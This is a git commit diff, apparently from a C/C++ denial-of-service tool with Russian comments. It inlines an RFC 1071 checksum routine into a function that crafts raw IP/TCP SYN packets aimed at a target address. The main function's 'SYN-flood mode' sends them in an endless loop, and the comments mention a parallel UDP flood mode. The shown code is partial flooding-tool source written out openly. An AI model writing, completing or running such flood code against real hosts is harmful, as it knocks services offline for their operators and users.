chore: delete check_sum function
check_sum function logic moved into tcp_syn
This commit is contained in:
parent
733b5b6486
commit
775fb4cbd8
|
@ -364,39 +364,6 @@ int my_dns()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
unsigned short checksum(void *data, int len) {
|
|
||||||
/**
|
|
||||||
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
|
||||||
*
|
|
||||||
* Параметры:
|
|
||||||
* data - указатель на данные пакета
|
|
||||||
* len - длина данных в байтах
|
|
||||||
*
|
|
||||||
* Возвращает:
|
|
||||||
* 16-битную инвертированную контрольную сумму
|
|
||||||
*/
|
|
||||||
// === Объявление локальных переменных ===
|
|
||||||
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
|
||||||
unsigned long sum; // Аккумулятор для суммы
|
|
||||||
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
|
||||||
// === Инициализация переменных ===
|
|
||||||
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
|
||||||
sum = 0; // Начальное значение суммы
|
|
||||||
// === Основная логика процедуры ===
|
|
||||||
// Суммируем 16-битные слова
|
|
||||||
while (len > 1) {
|
|
||||||
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
|
||||||
len -= 2; // Уменьшаем счетчик оставшихся байт
|
|
||||||
}
|
|
||||||
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
|
||||||
byte_ptr = (uint8_t *)ptr;
|
|
||||||
sum += *byte_ptr;
|
|
||||||
}
|
|
||||||
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
|
||||||
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
void my_tcp_syn() {
|
void my_tcp_syn() {
|
||||||
/*
|
/*
|
||||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||||
|
@ -415,11 +382,11 @@ void my_tcp_syn() {
|
||||||
struct sockaddr_in target_addr; // Адрес цели
|
struct sockaddr_in target_addr; // Адрес цели
|
||||||
|
|
||||||
// Параметры подключения
|
// Параметры подключения
|
||||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
uint16_t target_port; // Порт цели (в сетевом порядке байт)
|
||||||
|
|
||||||
// Структуры заголовков
|
// Структуры заголовков
|
||||||
struct iphdr ip_header; // IP-заголовок пакета
|
struct iphdr ip_header; // IP-заголовок пакета
|
||||||
struct tcphdr tcp_header; // TCP-заголовок пакета
|
struct tcphdr tcp_header; // TCP-заголовок пакета
|
||||||
|
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||||
|
|
||||||
// Псевдозаголовок для контрольной суммы
|
// Псевдозаголовок для контрольной суммы
|
||||||
struct {
|
struct {
|
||||||
|
@ -432,7 +399,10 @@ void my_tcp_syn() {
|
||||||
|
|
||||||
// Буферы данных
|
// Буферы данных
|
||||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
||||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
uint16_t *checksum_ptr;
|
||||||
|
unsigned long checksum_sum;
|
||||||
|
uint8_t *checksum_byte_ptr;
|
||||||
|
int checksum_len;
|
||||||
|
|
||||||
// === Инициализация переменных ===
|
// === Инициализация переменных ===
|
||||||
sock = -1;
|
sock = -1;
|
||||||
|
@ -452,7 +422,7 @@ void my_tcp_syn() {
|
||||||
// 3. Настройка адреса цели
|
// 3. Настройка адреса цели
|
||||||
memset(&target_addr, 0, sizeof(target_addr));
|
memset(&target_addr, 0, sizeof(target_addr));
|
||||||
target_addr.sin_family = AF_INET;
|
target_addr.sin_family = AF_INET;
|
||||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr);
|
||||||
|
|
||||||
// 4. Формирование IP заголовка
|
// 4. Формирование IP заголовка
|
||||||
memset(&ip_header, 0, sizeof(ip_header));
|
memset(&ip_header, 0, sizeof(ip_header));
|
||||||
|
@ -483,7 +453,24 @@ void my_tcp_syn() {
|
||||||
};
|
};
|
||||||
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
||||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
||||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
|
||||||
|
// Расчет контрольной суммы
|
||||||
|
checksum_ptr = (uint16_t *)temp_buf;
|
||||||
|
checksum_sum = 0;
|
||||||
|
checksum_len = sizeof(temp_buf);
|
||||||
|
|
||||||
|
while (checksum_len > 1) {
|
||||||
|
checksum_sum += *checksum_ptr++;
|
||||||
|
checksum_len -= 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (checksum_len == 1) {
|
||||||
|
checksum_byte_ptr = (uint8_t *)checksum_ptr;
|
||||||
|
checksum_sum += *checksum_byte_ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
|
||||||
|
tcp_header.check = (unsigned short)(~checksum_sum);
|
||||||
|
|
||||||
// 7. Сборка пакета
|
// 7. Сборка пакета
|
||||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
memcpy(packet, &ip_header, sizeof(iphdr));
|
||||||
|
@ -599,7 +586,7 @@ int main(int argc, char **argv)
|
||||||
case 2: // Режим SYN-флуда (TCP)
|
case 2: // Режим SYN-флуда (TCP)
|
||||||
// Аналогичная логика как для UDP-режима
|
// Аналогичная логика как для UDP-режима
|
||||||
dns_status = my_dns();
|
dns_status = my_dns();
|
||||||
|
printf("begin TCP SYN\n");
|
||||||
if (dns_status == 0)
|
if (dns_status == 0)
|
||||||
{
|
{
|
||||||
while (true)
|
while (true)
|
||||||
|
|
Loading…
Reference in New Issue